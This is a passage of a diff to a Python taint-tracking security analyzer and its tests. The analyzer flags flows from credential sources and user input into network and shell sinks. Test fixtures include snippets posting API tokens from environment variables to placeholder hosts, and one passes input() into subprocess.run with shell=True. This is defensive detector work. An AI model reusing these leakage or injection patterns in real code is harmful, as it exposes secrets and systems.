call). - func = call.func - receiver = func.value if isinstance(func, ast.Attribute) else func - arguments = [arg.value if isinstance(arg, ast.Starred) else arg for arg in call.args] - arguments.extend(keyword.value for keyword in call.keywords) - reads: list[int] = [] - for part in (receiver, *arguments): - part_reads, sources = self.argument(part, scope) - if part is not receiver: - self._arguments[part] = (part_reads, sources) - reads.extend(part_reads) - if sources: - self.seed((info.value,), _ASSIGN, call.lineno, sources, call.lineno) - if info.results: - reads.append(self.result_key(info.results)) - self.add_edge(reads, (info.value,), _PASS, 0) - if info.binding is not None: - self.bind_arguments( - info.binding, - call.args, - [(keyword.arg, keyword.value) for keyword in call.keywords], - scope, - call.lineno, - ) - self.callbacks(call, scope) + index = self.index + name_key = index.name_key + tick = self.tick + names: dict[int, None] = {} + others: dict[int, None] = {} + best: list[str | None] = [None, None] + best_rank = [-1, -1] + queue: deque[ast.AST] = deque([node]) + while queue: + tick() + child = queue.popleft() + if isinstance(child, ast.Name): + key = name_key.get(child) + if key is not None and index.visible(key, root): + names[key] = None + continue + if isinstance(child, ast.Call): + if nested_values: + value = self.value_key(child, root) + if value is not None: + others[value] = None + continue + source = _call_source(child, self.type_map, self.aliases) + if source is not None: + ranks = _LANE_RANKS[_SOURCE_INDEX[source]] + for lane in (0, 1): + if ranks[lane] > best_rank[lane]: + best[lane], best_rank[lane] = source, ranks[lane] + for group in index.call_targets(child, tick).results: + others[self.ret_key(group)] = None + elif isinstance(child, ast.Attribute): + view = index.attribute_view(child) + if view is not None: + others[view] = None + for grandchild in ast.iter_child_nodes(child): + if not isinstance(grandchild, ast.expr_context): + queue.append(grandchild) + if best[0] is None: + best[0] = best[1] = _credential_subscript(node, self.aliases) + sources: list[tuple[str, int]] = [] + if best[0] is not None and best[0] == best[1]: + sources.append((best[0], _BOTH_LANES)) + else: + sources.extend((source, 1 << lane) for lane, source in enumerate(best) if source) + return list(names), list(others), sources - def callbacks(self, call: ast.Call, scope: _Scope) -> None: - """Bind the arguments a higher-order call forwards to its callback.""" + def assign(self, node: ast.Assign, scope: _Scope) -> None: index = self.index - members: list[tuple[_Group, int]] = [] - position: int | None = None - for keyword in call.keywords: - if keyword.arg in _CALLBACK_KEYWORDS: - members, _ = index.resolve_callee(keyword.value, scope, fallback=True) - if members: - break - if not members: - spawner = _CALLBACK_POSITIONS.get(_callee_name(call.func) or "") - if spawner is not None and spawner < len(call.args): - candidate = call.args[spawner] - if not any(isinstance(arg, ast.Starred) for arg in call.args[: spawner + 1]): - members, _ = index.resolve_callee(candidate, scope, fallback=True) - position = spawner - if not members: - position = None - for at, arg in enumerate(call.args): - if isinstance(arg, ast.Starred): - break - if isinstance(arg, (ast.Name, ast.Attribute)): - members, _ = index.resolve_callee(arg, scope, fallback=False) - if members: - position = at - break - if not members: + names, others, sources = self.scan(node.value, scope, False) + # Phase A targets are the ones earlier releases tainted: names and + # tuples of names. ``self.x`` / ``cls.x`` targets are phase B. + plain: list[int] = [] + attributes: list[int] = [] + for target in node.targets: + elements = target.elts if isinstance(target, ast.Tuple) else [target] + for element in elements: + if isinstance(element, ast.Name): + plain.append(index.name_key[element]) + if scope.kind == _CLASS: + self.class_attribute(scope, element.id, index.name_key[element]) + elif isinstance(element, ast.Attribute): + store = index.attribute_store(element) + if store is not None: + attributes.append(store) + line = node.lineno + if sources: + # A direct source seeds its targets in phase A, as before; a more + # severe source among the names it reads may still upgrade them. + for source, lanes in sources: + fact = (_SOURCE_INDEX[source], line) + self.worklist.extend(_mark_targets(self, plain, _ASSIGN, line, fact, 0, lanes)) + self.seed(attributes, _ASSIGN, line, sources) + self.add_flow([*names, *others], [*plain, *attributes], _ASSIGN, line, False) + else: + self.add_flow(names, plain, _ASSIGN, line, True) + self.add_flow(others, plain, _ASSIGN, line, False) + self.add_flow([*names, *others], attributes, _ASSIGN, line, False) + + def class_attribute(self, scope: _Scope, name: str, key: int) -> None: + """A name assigned in a class body is also the class's attribute.""" + class_def = scope.class_def + if class_def is None or class_def.cls is None: return - forwarded = list(call.args[position + 1 :]) if position is not None else [] - forwarded_keywords: list[tuple[str | None, ast.expr]] = [] - for keyword in call.keywords: - if keyword.arg == "args" and isinstance(keyword.value, (ast.Tuple, ast.List)): - forwarded.extend(keyword.value.elts) - elif keyword.arg == "kwargs" and isinstance(keyword.value, ast.Dict): - for key, value in zip(keyword.value.keys, keyword.value.values, strict=True): - if isinstance(key, ast.Constant) and isinstance(key.value, str): - forwarded_keywords.append((key.value, value)) - elif key is None: - forwarded_keywords.append((None, value)) - self.bind_arguments( - index.binding_set(members), forwarded, forwarded_keywords, scope, call.lineno - ) - - def returns(self, node: ast.Return, scope: _Scope) -> None: - function = scope.function - if node.value is None or function is None: + link = (scope.id, name) + if link in self._class_links: return - targets = tuple(self.group_returns(group) for group in function.groups) - self.flow(node.value, scope, targets, _RETURN, scope.owner, node.lineno) + self._class_links.add(link) + store = self.index.synthetic(("store", class_def.cls.id, name), False) + self.add_flow((key,), (store,), _PASS, 0, False) - def lambda_returns(self, node: ast.Lambda, scope: _Scope) -> None: + def returned(self, value: ast.expr, scope: _Scope, line: int) -> None: function = scope.function if function is None or not function.groups: return - targets = tuple(self.group_returns(group) for group in function.groups) - self.flow(node.body, scope, targets, _RETURN, scope.owner, node.lineno) + targets = [self.ret_key(group) for group in function.groups] + names, others, sources = self.scan(value, scope, False) + self.seed(targets, _RETURN, line, sources) + self.add_flow([*names, *others], targets, _RETURN, line, False) + + def call(self, node: ast.Call, scope: _Scope) -> None: + targets = self.index.call_targets(node, self.tick) + value = self._values.get(node) + if not targets.members and value is None: + return + parts = [arg.value if isinstance(arg, ast.Starred) else arg for arg in node.args] + parts.extend(keyword.value for keyword in node.keywords) + scans = [self.scan(part, scope, True) for part in parts] + line = node.lineno + if value is not None: + reads: list[int] = [] + for names, others, sources in scans: + reads.extend(names) + reads.extend(others) + self.seed((value,), _ASSIGN, line, sources) + reads.extend(self.ret_key(group) for group in targets.results) + self.add_flow(reads, (value,), _ASSIGN, line, False) + if targets.members: + self.bind_arguments(node, targets.members, scans, line) - def iteration(self, generator: ast.comprehension, scope: _Scope) -> None: - targets = tuple(self.index.assign_targets(generator.target, scope)) - iter_scope = self.index.scope_switch.get(generator.iter, scope.parent or scope) - line = generator.target.lineno - self.flow(generator.iter, iter_scope, targets, _ASSIGN, line, line) + def bind_arguments( + self, + node: ast.Call, + members: tuple[tuple[_Group, int], ...], + scans: list[tuple[list[int], list[int], list[tuple[str, int]]]], + line: int, + ) -> None: + slots: list[list[int]] = [] + unpacked = False + for position, arg in enumerate(node.args): + if isinstance(arg, ast.Starred): + unpacked = True + keys: list[int] = [] + for group, offset in members: + slot: object = position + offset + if unpacked or position + offset >= _MAX_POSITIONAL_SLOTS: + slot = "*" + keys.append(self.slot(group, slot)) + slots.append(keys) + for keyword in node.keywords: + keys = [] + for group, _offset in members: + if keyword.arg is None: + keys.append(self.slot(group, "**")) + continue + if keyword.arg in group.keyword_params: + keys.append(self.slot(group, ("kw", keyword.arg))) + if group.has_kwarg: + keys.append(self.slot(group, "kw*")) + slots.append(keys) + for keys, (names, others, sources) in zip(slots, scans, strict=True): + self.seed(keys, _BIND, line, sources) + self.add_flow([*names, *others], keys, _BIND, line, False) - def defaults(self, function: _FunctionInfo) -> None: + def slot(self, group: _Group, slot: object) -> int: + key = group.slots.get(slot) + if key is None: + key = self.index.synthetic(("slot", group.id, slot), True) + group.slots[slot] = key + return key + + def defaults(self, function: _Function) -> None: args = function.node.args defining = function.scope.parent or self.index.module positional = [*args.posonlyargs, *args.args] defaulted = positional[len(positional) - len(args.defaults) :] - pairs = [ - *zip(defaulted, args.defaults, strict=True), - *((arg, d) for arg, d in zip(args.kwonlyargs, args.kw_defaults, strict=True) if d), - ] + pairs: list[tuple[ast.arg, ast.expr]] = list(zip(defaulted, args.defaults, strict=True)) + for arg, default in zip(args.kwonlyargs, args.kw_defaults, strict=True): + if default is not None: + pairs.append((arg, default)) for arg, default in pairs: - assert default is not None - target = (self.index.binding_key(function.scope, arg.arg),) - self.flow(default, defining, target, _ASSIGN, default.lineno, default.lineno) - - def attribute_edges(self) -> None: - """Connect attribute stores to the reads that may see them. - - A read of ``x`` through class E sees stores of ``x`` in every class - sharing a descendant with E, plus ``@property`` getters named ``x``. - """ - index = self.index - for node, scope in index.attribute_loads: - self.tick() - index.attribute_load(node, scope) - for (class_id, attr), key in index.attribute_reads.items(): - self.tick() - cls = index.logical[class_id] - reads: list[int] = [] - for other in cls.sharing: - store = self.keys.ids.get((-1, other.unit, attr)) - if store is not None: - reads.append(store) - if attr in other.properties: - for group in index.unit_groups.get((other.unit, attr), ()): - reads.append(self.group_returns(group)) - self.add_edge(reads, (key,), _PASS, 0) - for cls in index.logical: - if cls.precise or not cls.properties: - continue self.tick() - for attr in cls.properties: - store = self.keys.get((-1, cls.unit, attr), _NO_OWNER, attr) - for group in index.unit_groups.get((cls.unit, attr), ()): - self.add_edge((self.group_returns(group),), (store,), _PASS, 0) + target = (self.index.key(function.scope, arg.arg),) + names, others, sources = self.scan(default, defining, False) + self.seed(target, _ASSIGN, default.lineno, sources) + self.add_flow([*names, *others], target, _ASSIGN, default.lineno, False) - def parameter_edges(self) -> None: + def link_callees(self) -> None: """Flow each callee's argument slots into the parameters they bind.""" - for group in self.index.groups.values(): + index = self.index + for group in index.groups: if not group.slots: continue slots = group.slots for function in group.functions: self.tick() args = function.node.args - key = self.index.binding_key scope = function.scope positional = [*args.posonlyargs, *args.args] for position, arg in enumerate(positional): reads = [ - slots.get(position) if position < _MAX_POSITIONAL_SLOTS else None, + slots.get(position if position < _MAX_POSITIONAL_SLOTS else "*"), slots.get("*"), - None if position < len(args.posonlyargs) else slots.get(arg.arg), + None if position < len(args.posonlyargs) else slots.get(("kw", arg.arg)), slots.get("**"), ] - self.bind(reads, key(scope, arg.arg)) + self.bind_parameter(reads, index.key(scope, arg.arg)) for arg in args.kwonlyargs: - self.bind([slots.get(arg.arg), slots.get("**")], key(scope, arg.arg)) + reads = [slots.get(("kw", arg.arg)), slots.get("**")] + self.bind_parameter(reads, index.key(scope, arg.arg)) if args.vararg is not None: extra = range(len(positional), _MAX_POSITIONAL_SLOTS) - reads = [slots.get("*"), *(slots.get(i) for i in extra)] - self.bind(reads, key(scope, args.vararg.arg)) + reads = [slots.get("*"), *(slots.get(position) for position in extra)] + self.bind_parameter(reads, index.key(scope, args.vararg.arg)) if args.kwarg is not None: - self.bind([slots.get("kw*"), slots.get("**")], key(scope, args.kwarg.arg)) + reads = [slots.get("kw*"), slots.get("**")] + self.bind_parameter(reads, index.key(scope, args.kwarg.arg)) - def bind(self, reads: list[int | None], target: int) -> None: - present = [key for key in reads if key is not None] - if present: - self.add_edge(present, (target,), _BIND, 0) + def bind_parameter(self, reads: list[int | None], target: int) -> None: + self.add_flow([key for key in reads if key is not None], (target,), _PASS, 0, False) + + def link_attributes(self) -> None: + """A ``self.x`` read sees stores of ``x`` in its class and in-file bases.""" + index = self.index + for node in index.attributes: + self.tick() + index.attribute_view(node) + for cls, attr, view in index.view_list: + self.tick() + reads = [] + for owner in index.ancestors(cls, self.tick): + store = index._ids.get(("store", owner.id, attr)) + if store is not None: + reads.append(store) + self.add_flow(reads, (view,), _PASS, 0, False) def build(self) -> None: for node, scope in self.index.statements: self.tick() if isinstance(node, ast.Assign): - targets = tuple( - key - for target in node.targets - for key in self.index.assign_targets(target, scope) - ) - self.flow(node.value, scope, targets, _ASSIGN, node.lineno, node.lineno) + self.assign(node, scope) elif isinstance(node, ast.Return): - self.returns(node, scope) + if node.value is not None: + self.returned(node.value, scope, node.lineno) elif isinstance(node, ast.Call): self.call(node, scope) - elif isinstance(node, ast.Lambda): - self.lambda_returns(node, scope) - elif isinstance(node, ast.comprehension): - self.iteration(node, scope) for function in self.index.functions: self.tick() self.defaults(function) - self.attribute_edges() - self.parameter_edges() + self.link_attributes() + self.link_callees() # ── fixpoint ── @@ -2083,60 +1566,90 @@ def run(self) -> None: self.propagate() def propagate(self) -> None: - """Drain the worklist until no flow adds a new fact.""" - facts = self.facts + # Phase A: the assignment flows earlier releases propagated, in order. + self.drain(self.worklist, (self.prop_a,)) + # Phase B: every flow. Phase A facts are read again through the new + # flows (each phase A flow already fired for them and is skipped). + worklist: deque[tuple[int, int, int]] = deque( + (key, 0, _BOTH_LANES) for key in self.facts[0][0] + ) + for targets, kind, line, fact, lanes in self.seeds: + self.tick() + worklist.extend(_mark_targets(self, targets, kind, line, fact, 0, lanes)) + self.drain(worklist, (self.prop_a, self.prop_b)) + + def drain( + self, worklist: deque[tuple[int, int, int]], tables: tuple[dict[int, list[int]], ...] + ) -> None: flows = self.flows - propagators = self.propagators - owners = self.keys.owner - worklist = self.worklist - fired: set[object] = set() + fired = self.fired + if len(fired) < len(flows): + fired.extend([0] * (len(flows) - len(fired))) + facts = self.facts while worklist: self.tick() - key, label = worklist.popleft() - line, node = facts[key][label] - owner = owners[key] - for flow_id in propagators.get(key, ()): - # A fact from a function's own parameter propagates differently - # depending on which function's key carries it. - mark: object = (flow_id, label, owner) if label & 1 else flow_id * _LABELS + label - if mark in fired: - # Already propagated this source: its targets hold it, so - # firing again marks nothing new. Skip to stay linear. - continue - fired.add(mark) - targets, kind, arg = flows[flow_id] - worklist.extend(_mark_targets(self, targets, kind, arg, owner, label, line, node)) + key, slot, lanes = worklist.popleft() + held = facts[slot] + first = held[0].get(key) if lanes & 1 else None + second = held[1].get(key) if lanes & 2 else None + if first is not None and first is second: + carried = [(first, _BOTH_LANES)] + else: + carried = [(fact, 1 << lane) for lane, fact in enumerate((first, second)) if fact] + for fact, fact_lanes in carried: + ranks = _LANE_RANKS[fact[0]] + # One bit per (lane, rank, slot): 12 bits per flow. + bits = [1 << (6 * lane + 2 * ranks[lane] + slot) for lane in (0, 1)] + for table in tables: + for flow_id in table.get(key, ()): + mark = fired[flow_id] + todo = 0 + for lane in (0, 1): + if fact_lanes >> lane & 1 and not mark & bits[lane]: + todo |= 1 << lane + if not todo: + # Already propagated a source of this rank: its targets + # hold one at least as severe. Skip to stay linear. + continue + targets, kind, line = flows[flow_id] + if slot and kind == _RETURN: + continue + for lane in (0, 1): + if todo >> lane & 1: + mark |= bits[lane] + fired[flow_id] = mark + worklist.extend(_mark_targets(self, targets, kind, line, fact, slot, todo)) # ── results ── - def strongest(self, key: int, sink_name: str, excluded: set[ast.AST]) -> _TaintedVar | None: - """The fact at *key* giving the most severe rule for *sink_name*. + def fact(self, key: int, lane: int = 0) -> _Fact | None: + """The most severe fact at *key* for *lane* (an ordinary one on ties).""" + ordinary = self.facts[0][lane].get(key) + bound = self.facts[1][lane].get(key) + if bound is not None and ( + ordinary is None or _LANE_RANKS[bound[0]][lane] > _LANE_RANKS[ordinary[0]][lane] + ): + return bound + return ordinary - Facts whose source is one of *excluded* (sources nested directly in - the sink, already reported as direct flows) are skipped. - """ - best: _TaintedVar | None = None - best_rank = -1 - for label, (line, node) in self.facts.get(key, {}).items(): - if node in excluded: + def tainted_names(self) -> dict[str, _TaintedVar]: + """Tainted variables by readable name (module globals keep their bare name).""" + index = self.index + result: dict[str, _TaintedVar] = {} + for key in (*self.facts[0][0], *self.facts[1][0]): + scope = index.key_scope[key] + fact = self.fact(key) + if scope is None or fact is None: continue - source = _SOURCE_NAMES[label >> 1] - rank = _SEVERITY_RANK[_RULE_SEVERITIES[_pick_rule(source, sink_name, False)]] - if rank > best_rank: - best = _TaintedVar(self.keys.name(key), source, line) - best_rank = rank - return best - - def view(self) -> dict[str, dict[str, _TaintedVar]]: - """Tainted keys by readable name, each with one fact per source.""" - view: dict[str, dict[str, _TaintedVar]] = {} - for key, entry in self.facts.items(): - sources = view.setdefault(self.index.debug_name(key), {}) - for label, (line, _node) in entry.items(): - source = _SOURCE_NAMES[label >> 1] - if source not in sources: - sources[source] = _TaintedVar(self.keys.name(key), source, line) - return view + name = index.key_name[key] + if scope.kind == _MODULE: + label = name + elif scope.kind == _CLASS: + label = f"{index.qualname(scope)}.{name}" + else: + label = f"{index.qualname(scope)}..{name}" + result.setdefault(label, _TaintedVar(name, _SOURCE_NAMES[fact[0]], fact[1])) + return result def _collect_tainted( @@ -2144,8 +1657,8 @@ def _collect_tainted( type_map: dict[str, str], aliases: dict[str, str], check_runtime: Callable[[], None] | None = None, -) -> dict[str, dict[str, _TaintedVar]]: - """Compute taint for *tree*: readable key -> {source call: fact}. +) -> dict[str, _TaintedVar]: + """Compute taint for *tree*: readable variable name -> its fact. Module globals keep their bare name; function locals read ``qualname..name``. See ``_TaintGraph`` for the propagation rules. @@ -2153,40 +1666,88 @@ def _collect_tainted( index = _build_scope_index(tree, aliases, type_map, check_runtime) graph = _TaintGraph(index, type_map, aliases, check_runtime) graph.run() - return graph.view() + return graph.tainted_names() + + +# Identifiers longer than this are shortened in messages (``prefix...``), so +# message bytes stay bounded per finding instead of growing with identifier +# length times the number of sinks. Real identifiers are far shorter, so their +# messages are unchanged. +_MAX_NAME_CHARS = 120 + + +def _shorten(name: str) -> str: + return name if len(name) <= _MAX_NAME_CHARS else name[: _MAX_NAME_CHARS - 3] + "..." + + +def _spelling(node: ast.AST) -> str: + """How a sink spells what it reads: ``name``, ``self.x``, ``helper()``, ``self.m()``. + + Built from the sink's own nodes, so a message never copies an identifier + spelled elsewhere in the file, and shortened to a bounded length. + """ + if isinstance(node, ast.Name): + return _shorten(node.id) + if isinstance(node, ast.Attribute) and isinstance(node.value, ast.Name): + return _shorten(f"{_shorten(node.value.id)}.{_shorten(node.attr)}") + if isinstance(node, ast.Call): + func = node.func + if isinstance(func, ast.Name): + return _shorten(f"{_shorten(func.id)}()") + if isinstance(func, ast.Attribute): + value = func.value + if isinstance(value, ast.Name): + return _shorten(f"{_shorten(value.id)}.{_shorten(func.attr)}()") + if isinstance(value, ast.Call) and isinstance(value.func, ast.Name): + return _shorten(f"{_shorten(value.func.id)}().{_shorten(func.attr)}()") + return "()" def _find_tainted_names_in_args( node: ast.Call, graph: _TaintGraph, - scope: _Scope, sink_name: str, - direct_sources: set[ast.AST], check_runtime: Callable[[], None] | None = None, ) -> list[_TaintedVar]: - """Find tainted variables, attributes and helper results a sink call reads. + """Find tainted variables, ``self.x`` attributes and helper results a sink reads. Plain variable reads come first, in ``ast.walk`` order, so a flow earlier releases reported keeps its message; attributes and in-file call results - follow. Each key reports its most severe source. + follow. Each is named as the sink spells it, and reported once. """ + tick = check_runtime or _noop + index = graph.index + lane = 1 if sink_name in _EXEC_SINKS or sink_name in _DESERIALIZATION_SINKS else 0 seen: set[int] = set() - names: list[int] = [] - others: list[int] = [] - facts = graph.facts - for key, plain_name in graph.index.references( - node, scope, check_runtime or _noop, skip_root=True - ): - if key in seen or key not in facts: + names: list[_TaintedVar] = [] + others: list[_TaintedVar] = [] + for child in ast.walk(node): + tick() + if child is node: continue - seen.add(key) - (names if plain_name else others).append(key) - hits: list[_TaintedVar] = [] - for key in (*names, *others): - tv = graph.strongest(key, sink_name, direct_sources) - if tv is not None: - hits.append(tv) - return hits + reads: list[tuple[int | None, ast.AST, list[_TaintedVar]]] + if isinstance(child, ast.Name): + reads = [(index.name_key.get(child), child, names)] + elif isinstance(child, ast.Subscript) and isinstance(child.value, ast.Name): + reads = [(index.name_key.get(child.value), child.value, names)] + elif isinstance(child, ast.Attribute): + reads = [(index.views.get(child), child, others)] + elif isinstance(child, ast.Call): + reads = [ + (graph.returns.get(group.id), child, others) + for group in index.call_targets(child, tick).results + ] + else: + continue + for key, spelled, out in reads: + if key is None or key in seen: + continue + fact = graph.fact(key, lane) + if fact is None: + continue + seen.add(key) + out.append(_TaintedVar(_spelling(spelled), _SOURCE_NAMES[fact[0]], fact[1])) + return names + others def _analyze_python( @@ -2203,8 +1764,8 @@ def _analyze_python( lines = python_ast.lines findings: list[AnalyzerFinding] = [] check_runtime = budget.check_runtime if budget is not None else None - scopes = _build_scope_index(tree, aliases, type_map, check_runtime) - graph = _TaintGraph(scopes, type_map, aliases, check_runtime) + index = _build_scope_index(tree, aliases, type_map, check_runtime) + graph = _TaintGraph(index, type_map, aliases, check_runtime) graph.run() seen: set[tuple[str, ast.Call]] = set() contexts: dict[int, str] = {} @@ -2282,7 +1843,6 @@ def _emit( if sink_name == "open" and not _is_open_for_write(ast_node): continue - direct: set[ast.AST] = set() for src_name, src_node in _find_nested_sources( ast_node, type_map, @@ -2291,7 +1851,6 @@ def _emit( ): if src_name == "open" and _is_open_for_write(src_node): continue - direct.add(src_node) rule = _pick_rule(src_name, sink_name, is_direct=True) src_cat = _classify(src_name, _SOURCE_CATEGORIES, "data source") sink_cat = _classify(sink_name, _SINK_CATEGORIES, "data sink") @@ -2299,19 +1858,10 @@ def _emit( node_index, rule, ast_node, - f"Direct flow: {src_name} ({src_cat}) → {sink_name} ({sink_cat})", + f"Direct flow: {src_name} ({src_cat}) \u2192 {sink_name} ({sink_cat})", ) - # A source nested in this sink, even inside a helper call, is already - # reported as a direct flow above; report each source once. - for tv in _find_tainted_names_in_args( - ast_node, - graph, - scopes.call_scope.get(ast_node, scopes.module), - sink_name, - direct, - check_runtime, - ): + for tv in _find_tainted_names_in_args(ast_node, graph, sink_name, check_runtime): rule = _pick_rule(tv.source_call, sink_name, is_direct=False) src_cat = _classify(tv.source_call, _SOURCE_CATEGORIES, "data source") sink_cat = _classify(sink_name, _SINK_CATEGORIES, "data sink") @@ -2320,7 +1870,7 @@ def _emit( rule, ast_node, f"Tainted flow: '{tv.name}' from {tv.source_call} (line {tv.lineno}, " - f"{src_cat}) → {sink_name} ({sink_cat})", + f"{src_cat}) \u2192 {sink_name} ({sink_cat})", ) return findings if budget is None else list(budget.current_findings) diff --git a/tests/nodes/analyzers/test_behavioral_taint_tracking.py b/tests/nodes/analyzers/test_behavioral_taint_tracking.py index 7a76f9b7d..5f71e8b13 100644 --- a/tests/nodes/analyzers/test_behavioral_taint_tracking.py +++ b/tests/nodes/analyzers/test_behavioral_taint_tracking.py @@ -18,6 +18,7 @@ from __future__ import annotations import json +import sys import textwrap import time import tracemalloc @@ -828,13 +829,13 @@ def check_runtime() -> None: def _collect(code: str, check_runtime=None) -> dict: - """Run `_collect_tainted` directly on *code* and return name -> source calls.""" + """Run `_collect_tainted` directly on *code* and return name -> source_call.""" parsed = get_python_ast(None, code, "t.py") type_map = build_type_map(parsed.tree, parsed.import_aliases) tainted = behavioral_taint_tracking._collect_tainted( parsed.tree, type_map, parsed.import_aliases, check_runtime ) - return {name: set(sources) for name, sources in tainted.items()} + return {name: tv.source_call for name, tv in tainted.items()} class TestFixpointTermination: @@ -859,25 +860,7 @@ def test_cyclic_reassignment_terminates_and_taints_all(self) -> None: sources = _collect(code, _capped_check_runtime(2000)) assert set(sources) == {"x", "y", "z"} # Every name traces back to one of the two credential sources. - assert all(source_set <= {"os.getenv", "os.environ"} for source_set in sources.values()) - assert sources["x"] == {"os.getenv", "os.environ"} - assert sources["y"] == {"os.getenv", "os.environ"} - assert sources["z"] == {"os.getenv", "os.environ"} - - def test_reassignment_preserves_stronger_source_through_alias(self) -> None: - """A later user-input source must not be hidden by an earlier credential source.""" - for assignments in ( - 'payload = os.getenv("KEY")\npayload = input()\n', - 'payload = input()\npayload = os.getenv("KEY")\n', - ): - code = ( - "import os, subprocess\n" - + assignments - + "command = payload\n" - + "subprocess.run(command, shell=True)\n" - ) - findings = _run(code) - assert any(f.rule_id == "TT5" for f in findings) + assert set(sources.values()) <= {"os.getenv", "os.environ"} def test_cyclic_reassignment_flows_to_sink(self) -> None: """End to end: the oscillating module plus a sink still reports TT3.""" @@ -914,7 +897,7 @@ def test_reverse_ordered_chain_is_linear(self) -> None: elapsed = time.monotonic() - start assert len(sources) == depth + 1 - assert all(srcs == {"os.getenv"} for srcs in sources.values()) + assert all(src == "os.getenv" for src in sources.values()) assert elapsed < 1.0 def test_cyclic_reassignment_does_not_hang_without_cap(self) -> None: @@ -969,7 +952,7 @@ def counting_mark_targets(*args, **kwargs): assert calls["n"] <= n_assignments # All read and target names are tainted, all tracing to os.getenv. assert len(sources) == 2 * width - assert all(srcs == {"os.getenv"} for srcs in sources.values()) + assert all(src == "os.getenv" for src in sources.values()) assert elapsed < 1.0 @@ -991,17 +974,40 @@ def _flows(code: str, rule: str = "TT3") -> list: return [f for f in _run(code) if f.rule_id == rule] -class TestFunctionScopePrecision: - """A tainted name in one function must not taint a same-named name elsewhere. +def _summary(code: str) -> list[tuple[str, int]]: + return sorted((f.rule_id, f.start_line) for f in _run(code)) + + +def _messages(code: str) -> list[str]: + return [f.message for f in _run(code)] + + +class TestNameClashPrecision: + """A tainted name in one scope must not taint a same-named name in another. Taint used to be keyed by bare variable name across the whole file. Once propagation became order-independent (#611), a tainted local such as ``headers`` in one function tainted every unrelated variable or parameter called ``headers`` in the file, reporting TT3 (CRITICAL) on sinks that never - see the credential. + see the credential. Each case below is one class of the name clashes found + in real skills. """ - def test_parameter_named_like_a_tainted_local_is_not_tainted(self) -> None: + def test_same_local_name_in_two_functions(self) -> None: + code = _code( + """ + import os, requests + def probe_render(): + request = {"token": os.environ.get("RENDER_TOKEN")} + return len(request) + def probe_service(url): + request = url + "/health" + requests.get(request, timeout=5) + """ + ) + assert _run(code) == [] + + def test_parameter_named_like_a_tainted_local_in_either_order(self) -> None: helper = _code( """ def fetch(url, headers): @@ -1016,25 +1022,70 @@ def main(): fetch("https://example.invalid/v1", {"Accept": "application/json"}) """ ) - # Definition order must not matter either way. for body in (helper + caller, caller + helper): - assert _flows("import os, requests\n" + body) == [] + assert _run("import os, requests\n" + body) == [] + + def test_caller_local_not_passed_to_a_same_named_parameter(self) -> None: + """The callee's ``text`` is a parameter; the caller's ``text`` never reaches it.""" + code = _code( + """ + import hashlib, os + def cache_file(text): + key = hashlib.sha256(text.encode()).hexdigest() + path = os.path.join("/tmp", key) + open(path, "w").write("{}") + def main(path): + text = open(path).read() + print(len(text)) + cache_file("constant") + """ + ) + assert _run(code) == [] + + def test_nested_function_parameter_named_like_a_tainted_variable(self) -> None: + code = _code( + """ + import json, subprocess, sys + def make_runner(): + def runner(stage_path): + payload = json.dumps({"stage_path": stage_path}) + subprocess.run(["worker"], input=payload) + return runner + def worker(): + job = json.loads(sys.stdin.read()) + stage_path = job["stage_path"] + print(stage_path) + """ + ) + assert _run(code) == [] + + def test_loop_target_named_like_a_tainted_variable(self) -> None: + code = _code( + """ + import os, subprocess + def configure(): + host = os.environ.get("REMOTE_HOST") + return host + def inspect(hosts): + for host in hosts: + subprocess.run(["ssh", host, "true"]) + """ + ) + assert _run(code) == [] - def test_same_local_name_in_two_functions_is_not_shared(self) -> None: + def test_local_shadowing_a_tainted_global(self) -> None: code = _code( """ import os, requests - def read_token(): - token = os.getenv("API_TOKEN") - return len(token) - def send_public(): - token = "public" - requests.post("https://example.invalid", data=token) + TOKEN = os.getenv("API_TOKEN") + def send(): + TOKEN = "public" + requests.post("https://example.invalid", data=TOKEN) """ ) - assert _flows(code) == [] + assert _run(code) == [] - def test_method_parameter_named_like_a_tainted_local_is_not_tainted(self) -> None: + def test_method_parameter_named_like_a_tainted_local(self) -> None: code = _code( """ import os, requests @@ -1047,35 +1098,48 @@ def send(self, token): Client().send("public") """ ) - assert _flows(code) == [] + assert _run(code) == [] - def test_local_shadowing_a_tainted_global_is_not_tainted(self) -> None: + def test_comprehension_target_named_like_a_tainted_variable(self) -> None: code = _code( """ import os, requests - TOKEN = os.getenv("API_TOKEN") - def send(): - TOKEN = "public" - requests.post("https://example.invalid", data=TOKEN) + url = os.getenv("WEBHOOK_URL") + def ping(u): + requests.get(u, timeout=5) + def check(urls): + [requests.get(url, timeout=5) for url in urls] + return [ping(url) for url in urls] """ ) - assert _flows(code) == [] + assert _run(code) == [] - def test_only_the_parameter_receiving_the_secret_is_tainted(self) -> None: + def test_lambda_parameter_named_like_a_tainted_variable(self) -> None: code = _code( """ import os, requests - def upload(url, payload): - requests.get(url) # CLEAN - requests.post(url, data=payload) # SINK - def main(): - upload("https://example.invalid", os.getenv("API_TOKEN")) + payload = os.getenv("API_TOKEN") + send = lambda payload: requests.post("https://x.invalid", data=payload) + send("public") """ ) - assert [f.start_line for f in _flows(code)] == [_line(code, "# SINK")] + assert _run(code) == [] - def test_instance_attributes_are_per_class(self) -> None: + def test_class_body_names_are_invisible_to_methods(self) -> None: code = _code( + """ + import os, requests + token = "public" + class Client: + token = os.getenv("API_TOKEN") + def send(self): + requests.post("https://x.invalid", data=token) + """ + ) + assert _run(code) == [] + + def test_instance_attributes_are_per_class(self) -> None: + unrelated = _code( """ import os, requests class Secret: @@ -1088,53 +1152,97 @@ def send(self): requests.post("https://example.invalid", data=self.token) """ ) - assert _flows(code) == [] - - -class TestInterproceduralFlows: - """Scoping must not lose flows that cross function boundaries.""" + siblings = _code( + """ + import os, requests + class ChatProvider: + def chat(self, messages): + raise NotImplementedError + class NvidiaProvider(ChatProvider): + def __init__(self): + self.headers = {"Authorization": os.environ.get("NVIDIA_API_KEY")} + def chat(self, messages): + return requests.post("https://nvidia.invalid", headers=self.headers) # REAL + class OllamaProvider(ChatProvider): + def __init__(self): + self.headers = {"Content-Type": "application/json"} + def chat(self, messages): + return requests.post("http://localhost:11434", headers=self.headers) + """ + ) + sibling_methods = _code( + """ + import os, requests + class Backend: + pass + class CloudBackend(Backend): + def auth_token(self): + return os.environ.get("CLOUD_TOKEN") + class LocalBackend(Backend): + def auth_token(self): + return "anonymous" + def health(self): + return requests.get("http://localhost", params={"u": self.auth_token()}) + """ + ) + assert _run(unrelated) == [] + assert _summary(siblings) == [("TT3", _line(siblings, "# REAL"))] + assert _run(sibling_methods) == [] - def test_helper_return_assigned_to_the_same_name(self) -> None: + def test_only_the_parameter_receiving_the_secret_is_tainted(self) -> None: 